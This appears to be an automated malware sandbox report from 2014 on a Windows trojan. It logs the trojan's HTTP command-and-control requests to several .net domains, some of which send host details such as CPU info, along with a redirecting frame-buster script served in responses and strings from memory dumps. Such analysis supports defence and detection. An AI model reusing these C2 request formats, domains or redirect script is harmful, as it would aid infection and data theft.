..<script type="text/javascript">...<!--...dimensionUpdated = 0;...function applyFrameKiller()...{....if(window.top != self)....{.....cHeight = 0;.....if( typeof( window.innerHeight ) != 'undefined' ) {.....//Non-IE.....cHeight = window.innerHeight;.....dimensionUpdated = 1;.....} else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {.....//IE 6 in 'standards compliant mode'.....cHeight = document.documentElement.clientHeight;.....dimensionUpdated = 1;.....} else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {.....//IE 4 compatible.....cHeight = document.body.clientHeight;.....dimensionUpdated = 1;.....}.....if( cHeight <= 250 && dimensionUpdated == 1).....{......window.top.location = "hXXp://mightglossary.net/?fp=MkimZYzklgVed3rmjwmncLCFCM8CfTY/LxoukoY9meL+C27oDN+Gz0DWS158kskOhD/ByjMYVpXSvMagXaLvJQ==&prvtof=obKbx2P6cvkbYGclYWRxD0AeqIldfsbh7f44bqp/yjE=&poru=YhvQXcIv2YCazauhWXRe2KUsKU74XbYwFK4D4L6HORtykE5YbLIhH20CoCEJCaRZUOtv7wsM28

<<

<<< skipped >>>

GET /forum/search.php?method=hostname&host=VVV.facebook.com&mode=sox&v=028&sox=3b93ce05&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0 HTTP/1.0

Accept: */*

Connection: close

Host: spendstudy.net

HTTP/1.0 502 Cannot find server.

Date: Fri, 23 May 2014 09:56:24 GMT

Server: YTS/1.20.28

Cache-Control: no-store

Content-Type: text/html

Content-Language: en

Content-Length: 2477

<HEAD><TITLE>Cannot find server.</TITLE></HEAD>.<BODY BGCOLOR="white" FGCOLOR="black">.<FONT FACE="Helvetica,Arial"><B>. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html><head><style>a:link {font:8pt/11pt verdana; color:red}a:visited {font:8pt/11pt verdana; color:#4e4e4e}</style><meta HTTP-EQUIV="Content-Type" Content="text-html; charset=Windows-1252"><title>Cannot find server</title></head><body bgcolor="white"><table width="400" cellpadding="3" cellspacing="5"><tr><td id="tableProps2" align="left" valign="middle" width="360"><h1 id="textSection1"style="COLOR: black; FONT: 13pt/15pt verdana"><span id="errorText">The page cannot be displayed</span></h1></td></tr><tr><td id="tablePropsWidth" width="400" colspan="2"><font style="COLOR: black; FONT: 8pt/11pt verdana">The page you are looking for is currently unavailable. The Web site might be experiencing technical difficulties, or you may need to adjust your browser settings.</font></td></tr><tr><td id="tablePropsWidth" width="400" colspan="2"><font id="LID1"style="COLOR: black; FONT: 8pt/11pt verdana"><hr color="#C0C0C0" noshade><p id="LID2">Please try the following:</p><ul><li id="instructionsText1">Click the Refresh button, or try again later.</li><li id="instructionsText2"> If you typed the page addr

<<

<<< skipped >>>

GET /forum/search.php?method=setvar&key=cpuinfo&value=Intel(R) Core(TM) i7-4770 CPU @ 3.40GHz (3392 MHz)&mode=sox&v=028&sox=3b93ce05&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0 HTTP/1.0

Accept: */*

Connection: close

Host: spendstudy.net

HTTP/1.0 200 OK

Date: Fri, 23 May 2014 09:56:24 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Content-Type: text/html

Age: 0

Server: YTS/1.20.28

.............

GET /forum/search.php?method=validate&mode=sox&v=028&sox=3b93ce05 HTTP/1.0

Accept: */*

Connection: close

Host: throughcountry.net

HTTP/1.1 200 OK

Date: Fri, 23 May 2014 09:56:07 GMT

Server: Apache

Vary: Accept-Encoding,User-Agent

Content-Length: 2715

Keep-Alive: timeout=5, max=124

Connection: close

Content-Type: text/html; charset=UTF-8

..<script type="text/javascript">...<!--...dimensionUpdated = 0;...function applyFrameKiller()...{....if(window.top != self)....{.....cHeight = 0;.....if( typeof( window.innerHeight ) != 'undefined' ) {.....//Non-IE.....cHeight = window.innerHeight;.....dimensionUpdated = 1;.....} else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {.....//IE 6 in 'standards compliant mode'.....cHeight = document.documentElement.clientHeight;.....dimensionUpdated = 1;.....} else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {.....//IE 4 compatible.....cHeight = document.body.clientHeight;.....dimensionUpdated = 1;.....}.....if( cHeight <= 250 && dimensionUpdated == 1).....{......window.top.location = "hXXp://throughcountry.net/?fp=z3o/78zez0czCEwdSGRZrGXVQccPfBZhk6Ej0eOXGAknfRy0J6TQJzUSxfalqRqAmS3ZfWvQW0aI31E4J7ssFw==&prvtof=E1vTOv7xFgpjhMpXs8SPtI0w/sSrOQJQkAJG3sPqoxE=&poru=LCu2tvevGdZX7W4AQm5q18CFL5hw/Tstg3ba1uuM2/9ADQj2Xx1sJ5nYSb6+OQjrc2rYjLz+WDRPGU0w8e1scBox5d

<<

<<< skipped >>>

GET /forum/search.php?method=validate&mode=sox&v=028&sox=3b93ce05 HTTP/1.0

Accept: */*

Connection: close

Host: rememberpaint.net

HTTP/1.1 200 OK

Date: Fri, 23 May 2014 09:55:58 GMT

Server: Apache

Vary: Accept-Encoding,User-Agent

Content-Length: 2593

Keep-Alive: timeout=5, max=112

Connection: close

Content-Type: text/html; charset=UTF-8

..<script type="text/javascript">...<!--...dimensionUpdated = 0;...function applyFrameKiller()...{....if(window.top != self)....{.....cHeight = 0;.....if( typeof( window.innerHeight ) != 'undefined' ) {.....//Non-IE.....cHeight = window.innerHeight;.....dimensionUpdated = 1;.....} else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {.....//IE 6 in 'standards compliant mode'.....cHeight = document.documentElement.clientHeight;.....dimensionUpdated = 1;.....} else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {.....//IE 4 compatible.....cHeight = document.body.clientHeight;.....dimensionUpdated = 1;.....}.....if( cHeight <= 250 && dimensionUpdated == 1).....{......window.top.location = "hXXp://rememberpaint.net/?fp=2BHPLgVpOmfswnLqnbxJLBBYWuwDTVnUru+qi4d8oPxEddcvCnrbJNde5MULHUDY8t1IuaIopFRW5j6rYRnLzA==&prvtof=Fqot8zq81xYUyze/94ruLPJYl8V25wfUUqcZfvfwYL4=&poru=DDkvU68862i1GxhwTnu0Ir9RyGj14Ih4QgvtFHp9k6zzMVQgi3BlIY2WW3DIGE51AI9Yezy1EY0OpslGsIcaUQ8mRg2zM7/kKpDiU4/PKeDnudchRD2QxGbUtBRGgk

<<

<<< skipped >>>

Map

The Malware connects to the servers at the folowing location(s):

Strings from Dumps

hweynoxcrj.exe_3148:

.text

`.rdata

@.data

SSSh@

~LSSSh

~ZSSSh

-"3#?=2/2#

u3SSSh

t SSSh@

oG.wSf

vSSSh

FTPjK

FtPj;

C.PjRV

tGHt.Ht&

AWS2_32.dll

OLEAUT32.dll

cmd.exe

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

portuguese-brazilian

operator

GetProcessWindowStation

USER32.DLL

GDI32.dll

GetProcessHeap

KERNEL32.dll

GetKeyboardType

USER32.dll

GetCPInfo

GetConsoleOutputCP

hweynoxcrj.exe

kzu4.exe

hiovbxkmtrdw.exe

RO.AMoU

>eJ#.Wz

q.Cm3

A/%.d[?W

zH%Xa

2.EWp

FXI'%C

mn.JK

zcÁ

%Documents and Settings%\LocalService

|%System%\hiovbxkmtrdw.exe

|spendstudy.net

WATCHDOGPROC "c:\windows\system32\hweynoxcrj.exe"

%System%\hweynoxcrj.exe

mscoree.dll

KERNEL32.DLL

manmps2pohkzu4.exe_6060:

.text

`.rdata

@.data

SSSh@

~LSSSh

~ZSSSh

-"3#?=2/2#

u3SSSh

t SSSh@

oG.wSf

vSSSh

FTPjK

FtPj;

C.PjRV

tGHt.Ht&

AWS2_32.dll

OLEAUT32.dll

cmd.exe

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

portuguese-brazilian

operator

GetProcessWindowStation

USER32.DLL

GDI32.dll

GetProcessHeap

KERNEL32.dll

GetKeyboardType

USER32.dll

GetCPInfo

GetConsoleOutputCP

hweynoxcrj.exe

kzu4.exe

hiovbxkmtrdw.exe

RO.AMoU

>eJ#.Wz

q.Cm3

A/%.d[?W

zH%Xa

2.EWp

FXI'%C

mn.JK

zcÁ

%Documents and Settings%\LocalService

%WinDir%\TEMP\manmps2pohkzu4.exe

mscoree.dll

KERNEL32.DLL

hiovbxkmtrdw.exe_2392:

.text

`.rdata

@.data

SSSh@

~LSSSh

~ZSSSh

-"3#?=2/2#

u3SSSh

t SSSh@

oG.wSf

vSSSh

FTPjK

FtPj;

C.PjRV

tGHt.Ht&

AWS2_32.dll

OLEAUT32.dll

cmd.exe

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

portuguese-brazilian

operator

GetProcessWindowStation

USER32.DLL

GDI32.dll

GetProcessHeap

KERNEL32.dll

GetKeyboardType

USER32.dll

GetCPInfo

GetConsoleOutputCP

hweynoxcrj.exe

kzu4.exe

hiovbxkmtrdw.exe

RO.AMoU

>eJ#.Wz

q.Cm3

A/%.d[?W

zH%Xa

2.EWp

FXI'%C

mn.JK

zcÁ

%Documents and Settings%\LocalService

%System%\hiovbxkmtrdw.exe

mscoree.dll

KERNEL32.DLL

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps

Related articles